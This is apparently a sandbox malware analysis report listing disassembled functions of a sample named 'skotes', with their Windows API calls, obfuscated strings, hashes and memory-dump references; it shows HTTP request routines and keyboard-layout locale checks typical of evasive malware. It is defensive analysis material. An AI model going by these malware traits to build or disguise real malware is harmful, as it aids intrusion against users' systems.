Function 005B65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 005B6680

Strings

ISNmfV==, xrefs: 005B67D1
GSTmfV==, xrefs: 005B6728
RySfdMLx, xrefs: 005B669C

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: b16efb92a7f2aa57a2dac48da08e6872d553cbfc4db32275788a9cf1f457c2d6
Instruction ID: fc1e707f9ed6b2d196440e9523f60554b0decda202cb71c92622956c78045aae
Opcode Fuzzy Hash: b16efb92a7f2aa57a2dac48da08e6872d553cbfc4db32275788a9cf1f457c2d6
Instruction Fuzzy Hash: 6891B1B19001189BDB28DB64CC89BEDBB79FB85304F5045E9E50997282DA35ABC4CFA4

Function 005BEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BEB51
CreateDirectoryA.KERNEL32(00000000), ref: 005BEC83
GetFileAttributesA.KERNEL32(00000000), ref: 005BED98

Strings

9c9aa5, xrefs: 005BFB8E
#, xrefs: 005C0624
GiQaT29tduF=, xrefs: 005BFEB6
WDw=, xrefs: 005BF71D, 005BF9FA, 005BFDE3
stoi argument out of range, xrefs: 005C08C4
WTs=, xrefs: 005C05CA
invalid stoi argument, xrefs: 005C08B0
111, xrefs: 005BF7A0
FisgLnsCZO1i, xrefs: 005BFF19
246122658369, xrefs: 005BF737, 005BFA14, 005BFE00, 005C05E7
FCQgKF==, xrefs: 005BFEE4
UA==, xrefs: 005BEC41, 005BED56, 005BEF89, 005BF2CE
L1a, xrefs: 005BF7E5
mxo1L0x, xrefs: 005BEE84

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1a$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-3436630133
Opcode ID: a4a413d7d11da43b60c5e440785ed6a93dd38750c218059a4576aba9c5c9f56a
Instruction ID: 9d791ae4fc4790e88ce8f17519fa22236580bdbf7f91d11b79eeb11b42c3065c
Opcode Fuzzy Hash: a4a413d7d11da43b60c5e440785ed6a93dd38750c218059a4576aba9c5c9f56a
Instruction Fuzzy Hash: 73F23771A001489FEB18DB68CD89BDDBF76BB85304F1481ACE409A73D6DB359AC4CB91

Function 005BBE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,581F31DB,?,00000000), ref: 005BBEB8
InternetOpenW.WININET(00608DC8,00000000,00000000,00000000,00000000), ref: 005BBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 005BBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 005BBF36
HttpSendRequestA.WININET(?,00000000), ref: 005BBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 005BC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 005BC161
InternetCloseHandle.WININET(?), ref: 005BC187
InternetCloseHandle.WININET(?), ref: 005BC18F
InternetCloseHandle.WININET(?), ref: 005BC197

Strings

8HJUeMD Lq5=, xrefs: 005BC465
stoi argument out of range, xrefs: 005BE4EA
invalid stoi argument, xrefs: 005BE4F4
RE1NXF==, xrefs: 005BBF0E
8HJUeIfzLo==, xrefs: 005BC3CB, 005BC623

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 8719c25ddea9427fb44e8e2d15e2ed23cb1fce3658189a602c78a2d1a7b4d0a3
Instruction ID: c780897df7695fb019456d0d5b6f53e22ce9faa0b8dd0afe61b9126522dfb563
Opcode Fuzzy Hash: 8719c25ddea9427fb44e8e2d15e2ed23cb1fce3658189a602c78a2d1a7b4d0a3
Instruction Fuzzy Hash: 3DB1C2B16001189FDB28CF28CC89BEEBFA5FF45304F5045A9F50997292D771AAC0CB59

Function 005B6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 005B617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 005B6271

Strings

00000419, xrefs: 005B6098
00000423, xrefs: 005B60FA
00000422, xrefs: 005B60C9
0000043f, xrefs: 005B612B
Keyboard Layout\Preload, xrefs: 005B6054

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 6f7933753083f9718cc0f6f15e7d1c0ee956949dc0e7375a9734ef91adf43933
Instruction ID: 3386601c9438e116e631306e586248c8d20a5da62cc3aa6a6d873c280f2f4ecc
Opcode Fuzzy Hash: 6f7933753083f9718cc0f6f15e7d1c0ee956949dc0e7375a9734ef91adf43933
Instruction Fuzzy Hash: 57B17D719001689FDB24DB54CC89BDEBBB9BF04340F5402D9E508E72D2DB74ABA88F55

Function 005B7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005B7ED3

Strings

JjsrPl==, xrefs: 005B828A
JjsrQV==, xrefs: 005B8092
JjssPV==, xrefs: 005B81E2
JjssOl==, xrefs: 005B813A

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
